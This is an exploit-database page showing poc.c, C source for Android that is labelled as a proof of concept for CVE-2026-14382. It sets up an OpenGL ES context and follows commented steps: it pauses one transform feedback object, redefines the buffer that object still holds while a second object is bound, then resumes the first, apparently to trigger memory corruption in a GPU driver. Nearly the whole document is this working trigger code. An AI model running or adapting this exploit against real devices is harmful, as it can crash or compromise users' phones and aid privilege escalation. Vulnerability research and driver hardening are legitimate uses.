Exploit databaseDownload repository ZIP
GH-ef22bf69e6d9767b022f96b1457ad4fd
jaf0rk/cve-2026-14382
Sources for CVE-2026-14382
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
jaf0rk/cve-2026-14382Revision 87b28019a61a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.c
C · 6,846 bytes// $NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/clang poc.c \
// -lGLESv3 -lGLESv2 -lEGL -lm \
// --target=armv7a-linux-android34 -g -O0 -o poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <GLES2/gl2.h>
#include <GLES2/gl2ext.h>
#include <GLES3/gl32.h>
#include <EGL/egl.h>
#define TF1 tf_ids[0]
#define TF2 tf_ids[1]
#define TEXTURE texture[0]
#define TF_BUFFER tf_buffers[0]
static const char *glerr(GLenum e) {
switch (e) {
case GL_NO_ERROR: return "GL_NO_ERROR";
case GL_INVALID_ENUM: return "GL_INVALID_ENUM";
case GL_INVALID_VALUE: return "GL_INVALID_VALUE";
case GL_INVALID_OPERATION: return "GL_INVALID_OPERATION";
case GL_OUT_OF_MEMORY: return "GL_OUT_OF_MEMORY";
default: return "UNKNOWN";
}
}
static void info_log() {
printf("armv7a\n");
printf("GL_VENDOR = %s\n", glGetString(GL_VENDOR));
printf("GL_RENDERER = %s\n", glGetString(GL_RENDERER));
printf("GL_VERSION = %s\n", glGetString(GL_VERSION));
}
static void log_checker(const char *tag) {
GLenum e = glGetError();
printf("[GL] %-66s : %s / 0x%x\n", tag, glerr(e), e);
}
static int initdisplay(void) {
EGLDisplay eglDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
if (eglDisplay == EGL_NO_DISPLAY) {
printf("[-] eglGetDisplay failed\n");
return -1;
}
if (!eglInitialize(eglDisplay, 0, 0)) {
printf("[-] eglInitialize failed\n");
return -1;
}
const EGLint config_attribs[] = {
EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
EGL_BLUE_SIZE, 8,
EGL_GREEN_SIZE, 8,
EGL_RED_SIZE, 8,
EGL_RENDERABLE_TYPE, EGL_OPENGL_ES3_BIT,
EGL_NONE};
EGLConfig eglConfig;
EGLint num_configs;
if (!eglChooseConfig(eglDisplay, config_attribs, &eglConfig, 1, &num_configs)) {
printf("[-] eglChooseConfig failed\n");
return -1;
}
const EGLint pbuffer_attribs[] = {
EGL_WIDTH, 16,
EGL_HEIGHT, 16,
EGL_NONE,
};
EGLSurface eglSurface = eglCreatePbufferSurface(eglDisplay, eglConfig, pbuffer_attribs);
if (eglSurface == EGL_NO_SURFACE) {
printf("[-] eglCreatePbufferSurface failed\n");
return -1;
}
const EGLint context_attribs[] = {
EGL_CONTEXT_CLIENT_VERSION, 3,
EGL_NONE};
EGLContext eglContext = eglCreateContext(eglDisplay, eglConfig, EGL_NO_CONTEXT, context_attribs);
if (eglContext == EGL_NO_CONTEXT) {
printf("[-] eglCreateContext failed\n");
return -1;
}
if (!eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext)) {
printf("[-] eglMakeCurrent failed\n");
return -1;
}
return 0;
}
static const GLchar *gShaderEsIn =
"#version 300 es\n"
"layout(location = 0) in vec3 position;\n"
"void main(void) {\n"
" gl_Position = vec4(position, 1.0);\n"
"}\n";
static const GLchar *gShaderEsPr =
"#version 300 es\n"
"precision mediump float;\n"
"out vec4 out_color;\n"
"void main(void) {\n"
" out_color = vec4(1.0, 0.0, 0.0, 1.0);\n"
"}\n";
static GLuint PocCompileShader(const GLchar *shader_str, GLenum type) {
GLuint shader = glCreateShader(type);
if (!shader) {
printf("[-] glCreateShader\n");
return 0;
}
glShaderSource(shader, 1, &shader_str, 0);
glCompileShader(shader);
GLint params;
glGetShaderiv(shader, GL_COMPILE_STATUS, ¶ms);
if (!params) {
char log[4096] = {0};
glGetShaderInfoLog(shader, sizeof(log), NULL, log);
printf("[-] shader compile failed: %s\n", log);
return 0;
}
return shader;
}
static GLuint PocRunProgram(void) {
GLuint vertexShader = PocCompileShader(gShaderEsIn, GL_VERTEX_SHADER);
GLuint fragmentShader = PocCompileShader(gShaderEsPr, GL_FRAGMENT_SHADER);
GLuint program = glCreateProgram();
if (!program) {
printf("[-] CreateProgram\n");
return 0;
}
glAttachShader(program, vertexShader);
glAttachShader(program, fragmentShader);
const GLchar *varyings[] = {"gl_Position"};
glTransformFeedbackVaryings(program, 1, varyings, GL_SEPARATE_ATTRIBS);
glLinkProgram(program);
GLint params;
glGetProgramiv(program, GL_LINK_STATUS, ¶ms);
if (params != 1) {
char log[4096] = {0};
glGetProgramInfoLog(program, sizeof(log), NULL, log);
printf("[-] program link failed: %s\n", log);
return 0;
}
return program;
}
int main(int argc, char *argv[]) {
(void)argc;
(void)argv;
if (initdisplay() != 0)
return -1;
info_log();
GLuint texture[1];
GLsizei width = 20;
uint8_t *buf_4096 = (uint8_t *)malloc(4096);
memset(buf_4096, 0x0C, 4096);
glGenTextures(1, texture);
glBindTexture(GL_TEXTURE_2D, TEXTURE);
glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGB9_E5, width, 1);
glBindTexture(GL_TEXTURE_2D, 0);
GLuint program = PocRunProgram();
glUseProgram(program);
/**
* The core trigger flow of CVE-2026-14382:
* first create 2 TransformFeedback objects and 1 Buff
*/
GLuint tf_buffers[1];
// tf_ids[0] = TF1 tf_ids[1] = TF2
GLuint tf_ids[2];
glGenTransformFeedbacks(2, tf_ids);
glGenBuffers(1, tf_buffers);
/**
* 1. Binding TF1 to current context
*/
glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, TF1);
glBindBufferRange(GL_TRANSFORM_FEEDBACK_BUFFER, 0, TF_BUFFER, 0, 0x60);
glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 0x60, NULL, GL_STATIC_DRAW);
glBeginTransformFeedback(GL_POINTS);
glDrawArrays(GL_POINTS, 0, 3);
glFinish();
/**
* 2. Trigger TF1 pause
*/
glPauseTransformFeedback();
/**
* 3. Binding TF2 to current context
*/
glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, TF2);
/**
* 4. After switching to TF2, the buffer that
* is still held by TF1 (which is in the active‑paused state)
* is redefined via GL_ARRAY_BUFFER.
*/
glBindBuffer(GL_ARRAY_BUFFER, TF_BUFFER);
glBufferData(GL_ARRAY_BUFFER, 0x8, NULL, GL_STATIC_DRAW);
uint8_t data[8] = {0};
glBufferSubData(GL_ARRAY_BUFFER, 0, 0x8, data);
glBindTexture(GL_TEXTURE_2D, TEXTURE);
glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, width, 1, GL_RGB, GL_HALF_FLOAT, buf_4096);
glBindBuffer(GL_ARRAY_BUFFER, 0);
/**
* 5. Switch the current transform feedback binding back to TF1,
* and let TF1 resume processing the buffer whose state has
* already been modified while TF2 was bound.
*/
glBindTransformFeedback(GL_TRANSFORM_FEEDBACK, TF1);
glResumeTransformFeedback();
glDrawArrays(GL_POINTS, 0, 3);
glFinish();
glEndTransformFeedback();
return 0;
}